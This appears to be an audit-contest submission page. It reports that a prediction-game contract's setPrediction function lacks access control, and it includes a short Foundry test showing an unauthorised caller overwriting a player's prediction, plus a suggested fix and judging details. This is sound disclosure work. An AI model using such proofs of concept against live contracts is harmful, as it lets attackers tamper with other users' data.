Submission Details
Severity:
Lack of Access Control in the `ScoreBoard::setPrediction` allows a malicious user to change any players prediction
**Description** Anyone can call the `setPrediction` function and can alter the predictions made by the players. There is not access control set to prevent this from happening.
**Proof of Concept**
```javascript
function test_AlterPrediction()public{
uint256 Fee = 1 ether;
address user = makeAddr("user");
vm.deal(user,Fee);
vm.prank(user);
thePredicter.register{value:0.04 ether}();
vm.prank(organizer);
thePredicter.approvePlayer(user);
vm.prank(user);
thePredicter.makePrediction(0,ScoreBoard.Result.Draw);
address mu =makeAddr("mu");
scoreBoard.setPrediction(user,0,ScoreBoard.Result.First);
}
```
**RecommendedMitiagtion** There should be a conditional check that `(player == msg.sender || thePredictor == msg.sender)`
Updates
Lead Judging Commences
NightHawK 12 months ago
Submission Judgement Published Assigned finding tags:
setPrediction lacks access control
setPrediction has no access control and allows manipulation to Players' predictions.
Rewards breakdown
nSLOC
191This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.